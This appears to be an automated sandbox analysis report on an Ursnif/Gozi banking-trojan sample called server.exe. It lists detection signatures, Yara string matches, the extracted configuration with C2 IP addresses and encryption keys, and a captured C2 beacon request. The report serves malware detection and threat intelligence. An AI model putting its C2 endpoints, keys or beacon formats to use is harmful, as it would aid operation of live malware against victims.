Edit tour

Windows Analysis Report
server.exe

Overview

General Information

Sample Name:	server.exe
Analysis ID:	830504
MD5:	7e7372ed34c76cbeca4461bd6dbbfe62
SHA1:	5825f7a6272108b061a557171da9b8ef6b780028
SHA256:	0fa7c98d793b8c71d6ba29bde4fd449e497b246f92ab30403330fae3d8cb6ffd
Tags:	agenziaentrateexegoziisfbITAmefmiseursnif
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Yara detected Ursnif

Detected unpacking (changes PE section rights)

Snort IDS alert for network traffic

Writes or reads registry keys via WMI

Found API chain indicative of debugger detection

Machine Learning detection for sample

Found evasive API chain (may stop execution after checking system information)

Writes registry values via WMI

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Creates a DirectInput object (often for capturing keystrokes)

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

server.exe (PID: 1668 cmdline: C:\Users\user\Desktop\server.exe MD5: 7E7372ED34C76CBECA4461BD6DBBFE62)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Gozi, Ursnif	2000 Ursnif aka Snifula2006 Gozi v1.0, Gozi CRM, CRM, Papras2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)-> 2010 Gozi Prinimalka -> Vawtrak/NeverquestIn 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed.It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.	No Attribution	http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/ https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007	https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "ScCjtIu/chsReaToemavuPsGfYIczuvCBclhySG8/AhfUJMnvau4hmaBPIAXScUh9/secJMcCpqd5yeayd2fJdEc3ETZJfeY55SskXGIyxmn6sJL8WH2YF95GitV+tnd52epRBd8/snxdFtGg4Pgf9kxQsW/ySpD96hQxlGzGgDApS0E54E54SLEBTqihX3FWN2//mDaDIJuoFz7lt0whvCg/8gXPBf/s2nkXoRwyyqXguvwDcw9IZEu1NT1qqIwpXL9DGldaMvwfXTGOLIkQX35RsJJDpP1V5Mcgc+c1nBRPKqGQz+NUtKDBiyp0RXMK3jDdMGWvimLl80kvMkvSd8fQXtWRcZ7DCuQwrQxkXo=", "c2_domain": ["checklist.skype.com", "62.173.142.81", "193.233.175.113", "109.248.11.184", "212.109.218.26", "185.68.93.7"], "botnet": "7715", "server": "50", "serpent_key": "xeaLJj1BwSDpjIfH", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x555d:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.523315446.0000000000610000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1cc0:$a9: Software\AppDataLow\Software\Microsoft\
Process Memory Space: server.exe PID: 1668	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: server.exe PID: 1668	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1891:$a5: filename="%.4u.%lu" 0x1a47:$a5: filename="%.4u.%lu" 0x12ca9:$a5: filename="%.4u.%lu" 0x12e5f:$a5: filename="%.4u.%lu" 0x1444:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x1285c:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x15b8:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x1991:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x1b49:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x3c74:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x3d55:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x3ef8:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xd8c3:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xd9a4:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xdc08:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x129d0:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x12da9:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x12f61:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x1da9:$a9: &whoami=%s 0x131c1:$a9: &whoami=%s 0x1d92:$a10: %u.%u_%u_%u_x%u
Process Memory Space: server.exe PID: 1668	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0x1938:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x1af0:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x12d50:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x12f08:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x1444:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x14a1:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x1285c:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x128b9:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x185d:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x1a13:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x12c75:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x12e2b:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x1c43:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x1f1c:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x1305b:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x13334:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x1ce5:$a9: Software\AppDataLow\Software\Microsoft\ 0x1fb9:$a9: Software\AppDataLow\Software\Microsoft\ 0x2adf:$a9: Software\AppDataLow\Software\Microsoft\ 0x2b2c:$a9: Software\AppDataLow\Software\Microsoft\ 0x130fd:$a9: Software\AppDataLow\Software\Microsoft\
Click to see the 27 entries

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) - Source IP: 192.168.2.3 - Destination IP: 62.173.142.81

Timestamp:	192.168.2.362.173.142.8149699802033204 03/20/23-12:55:03.486730
SID:	2033204
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.3 - Destination IP: 62.173.142.81

Timestamp:	192.168.2.362.173.142.8149699802033203 03/20/23-12:55:03.486730
SID:	2033203
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: server.exe	ReversingLabs: Detection: 33%
Source: server.exe	Virustotal: Detection: 46%			Perma Link

Machine Learning detection for sample

Source: server.exe

Joe Sandbox ML: detected

Source: 0.2.server.exe.400000.0.unpack

Avira: Label: TR/Crypt.XPACK.Gen7

Source: 00000000.00000002.523867576.00000000026C9000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "ScCjtIu/chsReaToemavuPsGfYIczuvCBclhySG8/AhfUJMnvau4hmaBPIAXScUh9/secJMcCpqd5yeayd2fJdEc3ETZJfeY55SskXGIyxmn6sJL8WH2YF95GitV+tnd52epRBd8/snxdFtGg4Pgf9kxQsW/ySpD96hQxlGzGgDApS0E54E54SLEBTqihX3FWN2//mDaDIJuoFz7lt0whvCg/8gXPBf/s2nkXoRwyyqXguvwDcw9IZEu1NT1qqIwpXL9DGldaMvwfXTGOLIkQX35RsJJDpP1V5Mcgc+c1nBRPKqGQz+NUtKDBiyp0RXMK3jDdMGWvimLl80kvMkvSd8fQXtWRcZ7DCuQwrQxkXo=", "c2_domain": ["checklist.skype.com", "62.173.142.81", "193.233.175.113", "109.248.11.184", "212.109.218.26", "185.68.93.7"], "botnet": "7715", "server": "50", "serpent_key": "xeaLJj1BwSDpjIfH", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00791508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

0_2_00791508

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\server.exe

Unpacked PE file: 0.2.server.exe.400000.0.unpack

Source: server.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\server.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49699 -> 62.173.142.81:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49699 -> 62.173.142.81:80

Source: Joe Sandbox View

ASN Name: SPACENET-ASInternetServiceProviderRU SPACENET-ASInternetServiceProviderRU

Source: global traffic

HTTP traffic detected: GET /drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK3/SMO5Yl_2BPuQ/_2B49snui7_/2FLOe3Ko6as8fp/MUgDOSfZU6Dpa1I7o0j5G/VqQD_2Bumqn4Myfm/_2BQL_2BhR1HszY/TocLn3p8sVmtowm_2B/6OTZGgFfO/9qQJL2OyxO9xGC6r3J84/1Hw_2BXN3URNn_2FRiR/XmeYSNTVgprtLxVnjmtt4h/zq1_2FWGL3ouV/wUq7EqUY/xzZwPH0P8XChlht1ulV1_2F/xZqgBgTuj5/XO.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 62.173.142.81Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: query: checklist.skype.com replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.81
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.81
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.81
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.81
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.81

Source: server.exe, 00000000.00000002.523884713.000000000285C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://62.173
Source: server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.173.142.81/
Source: server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.173.142.81/drew/jYbXWzWzJZxMu/0bg7r4Fu/6FNvR8ClwgmU3K9eRFHwCZL/V4EUt2dyR_/2FQulKxQ_2Fze8eK
Source: server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checklist.skype.com/
Source: server.exe, 00000000.00000002.523636233.0000000000873000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checklist.skype.com/drew/atXnm1oMbB5L4Ntl5Fgy
Source: server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checklist.skype.com/drew/atXnm1oMbB5L4Ntl5FgyfO/iEVslQ74abg_2/FW6J1whk/ejMAXerGRdbDd_2FjU9B8H

Source: unknown

DNS traffic detected: queries for: checklist.skype.com

Source: global traffic

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
